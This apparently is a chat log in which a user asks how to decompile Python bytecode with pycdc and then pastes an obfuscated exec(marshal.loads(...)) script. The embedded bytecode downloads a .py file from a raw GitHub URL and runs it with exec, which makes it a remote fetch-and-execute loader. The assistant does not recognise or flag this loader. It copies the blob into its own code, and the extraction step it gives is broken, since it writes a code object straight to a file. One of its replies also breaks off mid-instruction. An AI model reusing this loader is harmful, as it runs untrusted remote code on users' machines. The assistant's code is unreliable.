How to use Decompyle++ (pycdc) to translate python disassembled bytecode to regular…
- User
How to use Decompyle++ (pycdc) to translate python disassembled bytecode to regular python code
- Assistant
Decompyle++ (pycdc) is a decompiler that can help you translate Python bytecode (usually stored in .pyc files) back into the regular Python source code. Here's how to use it:
Step 1: Install Decompyle++
Before you can use Decompyle++, you'll need to install it on your system. You can clone the decompiler from the GitHub repository:
$ git clone https://github.com/zrax/pycdc.gitStep 2: Build Decompyle++
Next, you need to build pycdc. Navigate to the pycdc folder and run the following commands:
$ cd pycdc $ cmake . $ makeStep 3: Get the bytecode file
You should have a .pyc file, which contains the Python bytecode that you want to translate back to regular Python code. If you don't have the .pyc file, you can generate one using the Python built-in function:
- User
How to use it on the following script:
import marshal exec(marshal.loads(b'c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00@\x00\x00\x00s,\x00\x00\x00d\x00d\x01l\x00Z\x00d\x00d\x01l\x01Z\x01d\x00d\x01l\x02Z\x02e\x03e\x02\xa0\x04d\x02\xa1\x01j\x05\x83\x01\x01\x00d\x01S\x00)\x03\xe9\x00\x00\x00\x00Nz\x9bhttps://raw.githubusercontent.com/saedarfa/I-wrote-cards-on-the-channel-/main/1681157059874_%D9%83%D8%B1%D9%88%D8%AA%20%D8%AA%D8%AC%D8%B1%D8%A8%D9%87%20.py)\x06\xda\x02os\xda\x03sysZ\x08requests\xda\x04exec\xda\x03get\xda\x04text\xa9\x00r\x06\x00\x00\x00r\x06\x00\x00\x00\xda\x06string\xda\x08\x04\x00\x00\x00s\x06\x00\x00\x00\x08\x01\x08\x01\x08\x03'))
- Assistant
You can use Decompyle++ to decompile Python bytecode from a marshal object embedded in the script. First, you need to extract the bytecode from the script.
Step 1: Extract the bytecode
Create a new Python file (let's call it
extract_bytecode.py) and add the following code to it:import marshal bytecode = marshal.loads(b'c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00@\x00\x00\x00s,\x00\x00\x00d\x00d\x01l\x00Z\x00d\x00d\x01l\x01Z\x01d\x00d\x01l\x02Z\x02e\x03e\x02\xa0\x04d\x02\xa1\x01j\x05\x83\x01\x01\x00d\x01S\x00)\x03\xe9\x00\x00\x00\x00Nz\x9bhttps://raw.githubusercontent.com/saedarfa/I-wrote-cards-on-the-channel-/main/1681157059874_%D9%83%D8%B1%D9%88%D8%AA%20%D8%AA%D8%AC%D8%B1%D8%A8%D9%87%20.py)\x06\xda\x02os\xda\x03sysZ\x08requests\xda\x04exec\xda\x03get\xda\x 04text\xa9\x00r\x06\x00\x00\x00r\x06\x00\x00\x00\xda\x06string\xda\x08<module>\x04\x00\x00\x00s\x06\x00\x00\x00\x08\x01\x08\x01\x08\x03') with open('bytecode.pyc', 'wb') as f: f.write(bytecode)